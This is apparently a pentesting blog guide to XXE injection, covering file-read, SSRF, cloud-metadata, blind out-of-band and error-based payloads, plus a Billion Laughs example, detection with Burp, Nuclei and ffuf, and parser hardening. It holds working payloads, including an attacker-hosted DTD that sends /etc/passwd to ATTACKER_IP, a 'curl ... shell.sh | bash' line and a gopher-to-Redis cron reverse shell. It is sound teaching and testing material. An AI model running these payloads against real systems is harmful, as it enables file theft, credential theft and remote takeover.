XXE Injection (XML External Entity): file read, SSRF and RCE

XXE (XML External Entity) in pentesting: payload for file read, SSRF, Blind XXE OOB and RCE, testing with Burp Suite and Nuclei, prevention in XML parsers.
- Posted on 2026-08-16
- Reading time: 12 min
XXE (XML External Entity): Complete Guide from File Read to RCE #
XXE (XML External Entity Injection) This is a vulnerability in XML parsers. A parser, in short, is the program that reads an XML file and transforms it into data that the application can use — it opens the file, recognizes the tags, and if it finds any special instructions (such as a DOCTYPE) executes them. The problem with XXE is that among these instructions there is one that tells the parser “go read an external file or URL and put its contents here” — and the parser, by specification, obeys without checking whether that command comes from a trusted source.
If the attacker controls even part of the XML that the server processes, he can make the server read a local file (/etc/passwd, SSH keys, config files) or have it contact an address of your choice (SSRF to the internal network, to cloud metadata services). When the response is not visible (blind XXE), the data is exfiltrated via OOB with an external DTD hosted by the attacker. In some specific contexts (PHP with expect, filter chain, Redis reachable via SSRF) XXE reaches RCE. The cause is almost always the same: the XML parser has the external entity enabled by default, and that's why OWASP classifies it in A05:2021 — Security Misconfiguration.
XXE is striking because the entry point is often not obvious. You don't immediately think about "where is XML in this app?"—and in fact, the most common places are hidden: an SVG upload, a forgotten SOAP endpoint, an Office file import. A five-line payload in those places can spill the contents of a system file.
It's part of the injection-attacks-complete-guide cluster . The specific variant on XML injection is on xxe-injection . The other injection categories (SQL, commands, LDAP, template engine) follow the same basic logic: untrusted input ends up in an interpreter that trusts too much.
How It Works: The Basic Concept #
To understand XXE, you first need to understand XML entities — that’s the part that’s usually skipped, and without it, it’s impossible to understand why the payload works.
An XML entity is, in effect, a variable: you define it once in the DOCTYPE, and wherever you write &nome; the parser replaces it with its value. The entities internal They have a fixed value written by hand, and are harmless:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY nome "Mario">
]>
<utente><nome>&nome;</nome></utente>
<!-- Il parser sostituisce &nome; con "Mario" -->The problem arises with the entities external: instead of a fixed value, the entity declares SYSTEM followed by a path—a local file or a URL. The parser, per the XML specification, retrieves that resource and uses it as the entity value. This isn't an isolated parser bug: it's expected behavior in the XML standard, and therefore it's enabled by default in many libraries.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<utente><nome>&xxe;</nome></utente>
<!-- Il parser legge /etc/passwd e lo inserisce al posto di &xxe; -->
<!-- Se l'applicazione restituisce il valore di <nome> nella risposta -->
<!-- → l'attaccante legge il contenuto di /etc/passwd -->So the mechanism of the attack is: (1) the attacker inserts a DOCTYPE with an entity SYSTEM in the XML document that the server accepts, (2) the parser expands that entity to fetch the indicated resource, (3) if that value appears somewhere in the HTTP response, the attacker reads it. The rest of the guide is a variation of these three steps based on what happens in (3).
Where to Look for XXE: The Input Vectors #
First rule of thumb: XXE is looked for wherever XML is in transit, even when it is not the application's “primary” format.
Endpoints that Accept XML Directly #
SOAP endpoints are pure XML by definition — they're the first place to check. Many modern REST APIs, however, accept XML in addition to JSON without explicitly declaring it: it's worth trying to change that. Content-Type of a normal JSON request and see if the server still processes it.
# Cerca request con Content-Type: text/xml o application/xml
# In Burp: filtra il Proxy History per "xml" nel Content-Type
# Endpoint SOAP (sempre XML)
POST /soap/endpoint HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "GetUser"
<soapenv:Envelope>...</soapenv:Envelope>
# API REST che accetta XML oltre a JSON
# Prova a cambiare Content-Type: application/json → text/xml
# e manda lo stesso body in formato XML
POST /api/users HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?><user><id>1</id></user>SVG Upload #
An SVG is, technically, an XML document with the right syntax for drawing shapes. This means that anywhere an app accepts SVG uploads (avatars, logos, icons) and then server-side processes — to convert it to PNG, for example — the SVG parser reads the DOCTYPE just like it would with any XML.
<!-- Carica questo file come SVG (rinominalo profile.svg) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- Se l'app mostra il testo dell'SVG o lo converte in PNG
con librerie come Batik, Inkscape o ImageMagick:
il contenuto di /etc/passwd appare nel testo renderizzato -->If, however, the app serves the SVG “as is,” without passing it through a server-side parser, this vector is not present — see also file-upload-attack for other ways a malicious upload can affect the backend.
XML Import/Export (Docx, Excel, ODT) #
Modern Office formats (.docx, .xlsx, .pptx, .odt) are not monolithic binary files: they are ZIP archives that contain, inside them, separate XML files (one for the text, one for the styles, and so on). If the application open and reprocess these server-side files — for example to extract text or generate a preview — that internal parser also reads the DOCTYPE that you put in there.
# Estrai un file docx
unzip documento.docx -d docx_content/
# Modifica word/document.xml aggiungendo il payload XXE
# prima del tag <w:document>:
cat >> docx_content/word/document.xml << 'EOF'
<!-- Aggiungi prima del contenuto esistente: -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
EOF
# Ricompatta
cd docx_content && zip -r ../evil.docx .
# Carica evil.docx nell'applicazione → se parsano il XML interno → XXERSS/Atom Feed Parser, XML Sitemap #
The same principle applies here: an RSS feed is XML, so if your app imports feeds from a URL you control, you can serve a malicious feed from your server instead of writing the payload directly in the request.
# Applicazioni che importano feed RSS da URL
# Manda un feed RSS malevolo dal tuo server
curl -X POST "https://target.com/import-feed" \
-d "url=https://evil.com/malicious_feed.xml"
# malicious_feed.xml sul tuo server:
cat > malicious_feed.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
</channel>
</rss>
EOFExploitation Step by Step #
Step 1 — Identify the Parser and Test with Base Payload #
It is not advisable to start immediately with file:///etc/passwdIf the parser isn't vulnerable, or if the output doesn't return, you'd never know. It's better to start with a payload that makes a simple HTTP request to a domain you control (Burp Collaborator)—if the parser expands the entity, that request will arrive, regardless of what happens later in the response.
<!-- Payload probe OOB — non legge file, fa solo una richiesta HTTP -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://ABC123.burpcollaborator.net/probe">
]>
<root>&xxe;</root>
<!-- Se Collaborator riceve la request HTTP → parser vulnerabile confermato -->
<!-- Se non arriva nulla → parser sicuro o firewall blocca outbound HTTP -->
<!-- In quel caso prova DNS (porta 53 quasi sempre aperta): -->
<!ENTITY xxe SYSTEM "http://ABC123.burpcollaborator.net">
<!-- Il DNS viene risolto anche se HTTP è bloccato -->Step 2 — Reading Local Files (In-Band) #
If the payload probe works and is in-band —that is, the entity value appears directly in the HTTP response—you can go straight to reading real files, without the need for external servers.
<!-- Linux: file di ricognizione standard -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
<!-- Risposta dell'applicazione: -->
<!-- root:x:0:0:root:/root:/bin/bash -->
<!-- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -->
<!-- ... -->
<!-- File ad alto valore su Linux: -->
file:///etc/passwd → utenti del sistema
file:///etc/shadow → hash password (solo se root)
file:///etc/hosts → rete interna
file:///proc/net/tcp → connessioni TCP attive (porta in hex)
file:///proc/self/environ → variabili d'ambiente del processo (credenziali!)
file:///proc/self/cmdline → comando con cui gira il processo
file:///home/USER/.ssh/id_rsa → chiave SSH privata
file:///var/www/html/config.php → credenziali DB
file:///var/www/html/.env → variabili d'ambiente app
<!-- File ad alto valore su Windows: -->
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config → credenziali ASP.NET
file:///C:/Users/Administrator/.ssh/id_rsa
file:///C:/xampp/htdocs/config.phpStep 3 — Reading Files with PHP Wrapper (When file:// Doesn't Work) #
Sometimes file:// reads the file, but the response comes back empty or truncated: this happens when the file contains characters that break the XML structure (<, >, &, null byte) — the parser tries to interpret them as markup and fails silently. The wrapper php://filter solves the problem: reads the file and recode to base64 before inserting it into the entity, so only safe alphanumeric characters end up in the XML.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>
<!-- Risposta: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA== -->
<!-- Decodifica: echo "cm9vdDp4OjA..." | base64 -d -->
<!-- → root:x:0:0:root:/root:/bin/bash -->
<!-- Utile anche per leggere codice sorgente PHP senza che venga eseguito -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">XXE → SSRF: Internal Network Access #
Up until now, the entity has always pointed to a local file. If you point it to a URL, the server makes the HTTP request on your behalf—which is exactly the definition of SSRF . The practical difference: the victim server has access to internal addresses that you, from the outside, could never reach directly. This opens the door to exploring the network behind the firewall.
<!-- Accesso a servizi interni non esposti su internet -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<data>&xxe;</data>
<!-- Il server fa una GET verso 192.168.1.1/admin e ti restituisce la risposta -->
<!-- Port scanning interno tramite XXE -->
<!-- Prova porte diverse sullo stesso host — la differenza di timing rivela se sono aperte -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/"> → app interna su 8080?
<!ENTITY xxe SYSTEM "http://127.0.0.1:8443/"> → HTTPS interno?
<!ENTITY xxe SYSTEM "http://127.0.0.1:9200/"> → Elasticsearch?
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/"> → Redis?
<!ENTITY xxe SYSTEM "http://127.0.0.1:27017/"> → MongoDB?
<!-- AWS metadata endpoint → credenziali IAM -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- Risposta: iam/, hostname, instance-id... -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!-- Risposta: nome del ruolo IAM -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_RUOLO">
<!-- Risposta: AccessKeyId, SecretAccessKey, Token → accesso AWS completo -->
<!-- GCP metadata -->
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token">
<!-- Azure IMDS -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/">Please note: the metadata endpoints (169.254.169.254) are a high-value target because they directly return temporary cloud credentials — if your app runs on AWS/GCP/Azure, this step alone can be worth full access to your cloud account, not just a single server.
Blind XXE: When the Answer Doesn't Return #
In most real world cases the parser processes your XML, but the entity value it never comes back visible in the HTTP response — the app may only respond {"status":"ok"}This is called blind XXE, and it's the most common situation in a real pentest. There are two ways to extract data, however.
Method 1 — OOB with External DTD (The Most Effective) #
The idea: Instead of putting the entity directly in the XML you send to the target, you have it declared by a DTD file you host on a server under your control. The target downloads that DTD, executes the instructions within it (reads the local file), and—still within the DTD—constructs another HTTP request to you that includes the file's contents as a parameter. Essentially, the file "exits" encapsulated in a URL.
Note for those who have never seen it: the% before the name (<!ENTITY % file ...>) it's a'parametric entity — it is used ONLY inside a DTD (never in the body of the document) and is called with %file; instead of &file;. It is used for these tricks: it allows you to build "on the fly", inside the DTD, a second entity (%eval;) which in turn declares a third (%exfil;) containing the URL with the file already pasted in. That's why the DTD below has three lines that seem to repeat: first read the file (%file), then assemble the request with the file inside (%eval builds %exfil), then you throw it (%exfil;).
# Step 1: prepara il DTD malevolo sul tuo server
# File: evil.dtd
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
%eval;
%exfil;
EOF
# Avvia un server HTTP per ricevere le richieste
python3 -m http.server 80
# Step 2: invia il payload XML al target
# Il payload carica il tuo DTD esterno<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">
%dtd;
]>
<root>qualsiasi</root># Nel log del tuo server vedrai:
# GET /?data=root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0A... HTTP/1.1
# URL-decode → contenuto di /etc/passwd
python3 -c "import urllib.parse; print(urllib.parse.unquote('root%3Ax%3A...'))"Method 2 — Error-Based (Without External Server) #
If you have no way to receive outgoing connections from the target (restrictive firewall on all ports, isolated environment) but the application displays XML parser error messages, you can still extract data: purposely construct an error whose message contains the file you want to read.
<!-- Causa un errore che include il contenuto del file nel messaggio -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<root>x</root>
<!-- Il parser cerca "file:///nonexistent/root:x:0:0:root:..." che non esiste
e lancia un errore che include il path → il contenuto di /etc/passwd
appare nel messaggio di errore della risposta -->Method 3 — DNS Exfiltration (Large Files) #
When outgoing HTTP is blocked but DNS is not (it is almost always the last open port, because without DNS resolution the server would not work), and the file to be read is small, you can emit its contents in a DNS query.
<!-- Il contenuto del file viene inserito nel sottodominio DNS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd "<!ENTITY % dns SYSTEM 'http://%file;.COLLABORATOR.net/'>">
%dtd;
%dns;
]>
<root>x</root>
<!-- DNS lookup: servername.COLLABORATOR.net → nome del server estratto via DNS -->XXE → RCE #
In some specific contexts, XXE doesn't stop at file reading or SSRF: it goes as far as direct code execution on the server.
PHP expect:// Wrapper #
The wrapper expect:// — when the PHP extension expect is installed (rare in production, but happens in development or CTF environments) — directly executes a system command instead of reading a file.
<!-- Richiede l'estensione PHP "expect" (rara in produzione) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>
<!-- Se expect è abilitato: uid=33(www-data) -->
<!-- Da qui: expect://bash -c 'curl http://ATTACKER_IP/shell.sh | bash' -->XXE → PHP Filter Chain → RCE (CVE-2024-2961 / CosmicString) #
As described in deserialization attack, combining XXE with a PHP filter chain leads to RCE on PHP. The mechanism: XXE reads a file via php://filter, and the filter chain builds a payload that ends up being executed by exploiting a vulnerability in the library iconvThis technique has been used effectively against Magento (CVE-2024-34102).
XXE via SSRF → Redis → RCE #
If, using the SSRF obtained with XXE, you discover an internal Redis instance without authentication, you can do more than simply read data: the Gopher protocol allows you to send raw Redis commands into the URL of the XXE entity. The payload below, decoded, tells Redis: "flush the database, then write a crontab entry that launches a reverse shell to my host on port 4444 every minute." Redis, not designed to be reachable by untrusted input, executes the commands as if they were coming from a legitimate client—and the system cron, when it times out, executes the script written by Redis.
<!-- Gopher protocol: manda comandi Redis tramite XXE SSRF -->
<!ENTITY xxe SYSTEM
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A">Billion Laughs: XXE as DoS #
This isn't a data-mining technique, but a service-breaking technique. It's worth knowing about because it uses the same mechanism as entities, just pointed in a different direction. Each entity is defined as 10 repetitions of the one at the previous level: at the ninth level, a single &lol9; expands to 10⁹ copies of the string “lol”, all of which the parser must hold in memory at the same time before returning the result.
<!-- ATTENZIONE: non testare in produzione — può abbattere il server -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
<!-- lol9 si espande a 10^9 entità "lol" = ~3GB di memoria -->
<!-- Il parser va in OOM → crash del servizio -->How to Detect XXE in a Pentest #
Manual with Burp Suite #
# Workflow in Burp:
# 1. Proxy History → filtra per Content-Type: *xml*
# 2. Per ogni request XML trovata → Send to Repeater
# 3. Aggiungi DOCTYPE con entità probe verso Burp Collaborator
# 4. Verifica callback in Collaborator → vulnerabile?
# 5. Se sì → scala a file read, poi SSRF
# Aggiungi DOCTYPE alla request esistente:
# PRIMA (request normale):
POST /api/import HTTP/1.1
Content-Type: application/xml
<data><user>mario</user></data>
# DOPO (con payload XXE probe):
POST /api/import HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net/probe">]>
<data><user>&xxe;</user></data>Automatic with Nuclei #
# Nuclei ha template specifici per XXE
nuclei -u https://target.com -tags xxe -severity critical,high
# Con template specifico per SOAP
nuclei -u https://target.com/soap/endpoint \
-t http/vulnerabilities/generic/xxe-detection.yamlFind Hidden Endpoints #
# Cerca endpoint XML non documentati
ffuf -u "https://target.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-H "Content-Type: application/xml" \
-mc 200,201,500
# Prova a cambiare Content-Type delle API JSON esistenti
# Da: Content-Type: application/json
# A: Content-Type: application/xml (o text/xml)
# Alcune API accettano entrambi i formatiPrevention #
The main defense is only one: disable external entities in the parser, so that the DOCTYPE Malicious content is ignored or rejected regardless of its content. Each language has its own specific configuration.
// Java — DocumentBuilderFactory
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setExpandEntityReferences(false);
// Java — SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);# Python — lxml (sicuro di default dalla versione 3.x)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)
# Python — defusedxml (libreria pensata per sicurezza)
import defusedxml.ElementTree as ET
tree = ET.parse(xml_file) # blocca automaticamente XXE, Billion Laughs, ecc.// PHP — disabilita entità esterne
libxml_disable_entity_loader(true); // PHP < 8.0
// PHP 8.0+: disabilitato di default
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT); // LIBXML_NOENT abilita entità → pericoloso
// Usa invece:
$dom->loadXML($xml); // senza flag → più sicuro
Checklist #
DISCOVERY
☐ Burp History: richieste con Content-Type: *xml* trovate?
☐ Endpoint SOAP identificati (/soap, /ws, /service, /wsdl)?
☐ Upload di file: SVG, docx, xlsx, odt, XML puri accettati?
☐ Feed RSS/Atom importabili dall'applicazione?
☐ API JSON: accettano anche Content-Type: text/xml?
☐ nuclei -tags xxe eseguito
EXPLOITATION IN-BAND
☐ Payload probe OOB → callback Collaborator ricevuto?
☐ file:///etc/passwd → contenuto nella risposta?
☐ php://filter/base64-encode → output base64 in risposta?
☐ File ad alto valore letti: .env, config.php, wp-config.php, id_rsa?
BLIND XXE
☐ DTD esterno ostato sul server dell'attaccante
☐ Payload che carica DTD esterno inviato al target
☐ HTTP server dell'attaccante: richiesta con contenuto file ricevuta?
☐ DNS exfiltration testata (se HTTP bloccato)?
☐ Error-based: errore parser con contenuto file nel messaggio?
XXE → SSRF
☐ URL interni testati (127.0.0.1:PORTA, 192.168.x.x)?
☐ AWS metadata endpoint testato (169.254.169.254)?
☐ GCP/Azure metadata testati?
☐ Gopher verso Redis/Memcached testato?
ESCALATION
☐ PHP expect:// testato (RCE diretta)?
☐ SSRF → Redis → crontab scritto → RCE?
DOCUMENTAZIONE
☐ Screenshot payload inviato + risposta con file letto
☐ Screenshot callback OOB (per blind XXE)
☐ File ad alto valore estratti documentati
☐ Path di escalation (SSRF o RCE) documentatoFAQ #
What's the difference between in-band and blind XXE? In-band: The entity value appears directly in the HTTP response—you immediately see the file contents. Blind: The parser processes the entities, but the value isn't returned in the response. In that case, you use OOB (external DTD + listening server) or error-based techniques to extract the data indirectly.
The probe payload doesn't receive callbacks. Is the parser secure? Not necessarily. Your firewall could be blocking outbound HTTP connections—try DNS (port 53). The payload could be inserted incorrectly in the XML structure. It could also be that the parser is indeed secure. Try OOB first, then error-based, before concluding that it's not vulnerable.
Why is php://filter useful for XXE?
The contents of some files (such as /etc/passwd (or binary files) may contain characters that break the XML parser when inserted into an entity — angled brackets, ampersands, null characters. php://filter/convert.base64-encode reads the file, encodes it in base64 (alphanumeric characters only + /+=), and inserts it into the entity without breaking the parsing.
Is an SVG upload always vulnerable to XXE? No. It depends on how the application processes the SVG: if it serves it directly as an image without parsing it server-side, there is no XXE. If it converts it to PNG/JPEG using Inkscape, Batik, or ImageMagick libraries, the SVG parser reads the document—and external entities are processed.
What is the severity in a report?
File read by /etc/passwd o /etc/hosts → HighReading DB Credentials or SSH Keys → CriticalSSRF to internal network or cloud metadata → High/CriticalBlind XXE confirmed but no data extracted → High. Billion Laughs/DoS → Medium.








